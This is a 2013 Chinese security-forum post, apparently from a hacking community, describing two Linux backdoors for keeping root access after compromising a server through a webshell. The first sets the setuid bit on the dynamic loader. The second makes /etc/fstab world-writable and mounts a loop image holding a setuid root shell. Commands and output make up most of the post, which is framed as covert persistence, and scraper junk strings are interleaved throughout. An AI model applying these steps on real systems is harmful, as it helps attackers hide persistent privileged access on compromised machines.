找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3288|回复: 1
打印 上一主题 下一主题

webshell下LINUX提权+留后门

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:56:25 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
方法一:setuid的方法,其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究
7 K' e/ O% Q9 e
7 \! S5 t' X! {$ c' j[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究2 p& @' h/ \9 K7 w
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究% }( w$ m- p2 w  Y
lrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究7 b0 Q5 V7 j; G7 l( @
[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究1 l) l; |5 J8 Z3 `/ r9 Z! [
[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究4 d) M: L7 ~! v7 P
-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究" ]- m. d4 k4 l6 x1 ^  u
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究7 g6 B+ u+ X+ [. {
[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究
/ H) d2 c: D4 d我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究1 `" y( D% {2 N7 W: O
. ?( x' l( i; g) ^+ ~4 N, y$ l
普通用户登录,测试下权限:2ezX-BUG-关注前沿信息安全技术研究8 }- T. P- i9 V

- y2 {# K( w; x1 f, `, s[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究6 N- T) }3 f$ V& @% F  `
xiaoyu2ezX-BUG-关注前沿信息安全技术研究
0 ?$ G$ e, B% _, o  D6 i[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究& u8 R4 G9 P+ Q" i: U7 H9 [
root2ezX-BUG-关注前沿信息安全技术研究
/ J4 T* k; Y; L2 S8 a. V- r[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究( i0 R6 h4 \( _
恩,嘿嘿 root了吧,具体怎么生成root shell,你们自己去想吧,凡事都不要点得太透,对吧。呵呵,可以肯定的一点,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash检查euid 和uid,看是否相等...OK,不多说了。2ezX-BUG-关注前沿信息安全技术研究
9 D, u. }$ A: R. z% o6 _
  [/ Q' R8 `% X! l7 a. J6 Y方法二:2ezX-BUG-关注前沿信息安全技术研究0 ?# e" v, l6 }6 `% G! \* u5 L' Y$ Q

% y& b' W$ {/ S7 e! @看过程:2ezX-BUG-关注前沿信息安全技术研究
  B2 T) v: l4 e# H: P- }3 _: C/ z
[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
# o3 S: `- s! ~4 D% c6 M( y[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究4 N$ M+ K. J$ |4 H2 b- h
! t2 p. r' @7 \5 L' Z
这就留好了。此方法比较XXOXX,估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究
9 G; S, C  V2 \! j$ P9 D6 O1 r3 ^$ C
[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究% E- c9 O- g0 a7 F5 ^% I) N" u& _
-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
1 r- U* w9 _$ M4 h[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究# _5 Y! p4 q: w& F
6 k& T+ ~0 N, V- U
然后从本机把一个文件到目标机器上去,这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究
/ d. Q2 c" ]8 C. b/ ^. i" e* a
* ^3 X/ z8 W' U5 C[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究
* V8 a! o; E' ]% U* a/ l2 N! i-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究
1 w# I4 {9 ?' {' b: b) e4 O, D1 I[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究/ L: y/ a7 h/ F
[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究( ]+ m* }7 m. [, \* ~" _& d5 L' y
[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究0 Y' i2 _" w& I
total 182ezX-BUG-关注前沿信息安全技术研究) X% g# z7 R/ e" [& B5 J
drwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究! o7 @9 F' R: i; `4 {% C: I
-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究$ I* s; V% s8 O) G; `
[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究
, A9 {2 I1 W! S8 J# r: _& ^sh-3.2#2ezX-BUG-关注前沿信息安全技术研究( n0 _$ n. `# p' D2 ~
看到了吧,从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究
+ X5 J& m% _5 stest这个文件baidu貌似木有上传功能撒,木办法传2ezX-BUG-关注前沿信息安全技术研究
- T7 @1 i" O* `! `0 E( {, \% b& w9 B# Q4 N6 b; p7 p
貌似可能有人说本地后门木啥鸟用,但是你要搞清楚:一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究. n6 N' L# u% e, T2 C% J2 E
2ezX-BUG-关注前沿信息安全技术研究6 x1 U  }4 ]" |* \7 B8 R& i7 y

5 q  v. N& }( `+ s( S3 Y* U$ L
回复

使用道具 举报

沙发
发表于 2013-3-13 15:10:29 | 只看该作者
谢谢分享
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表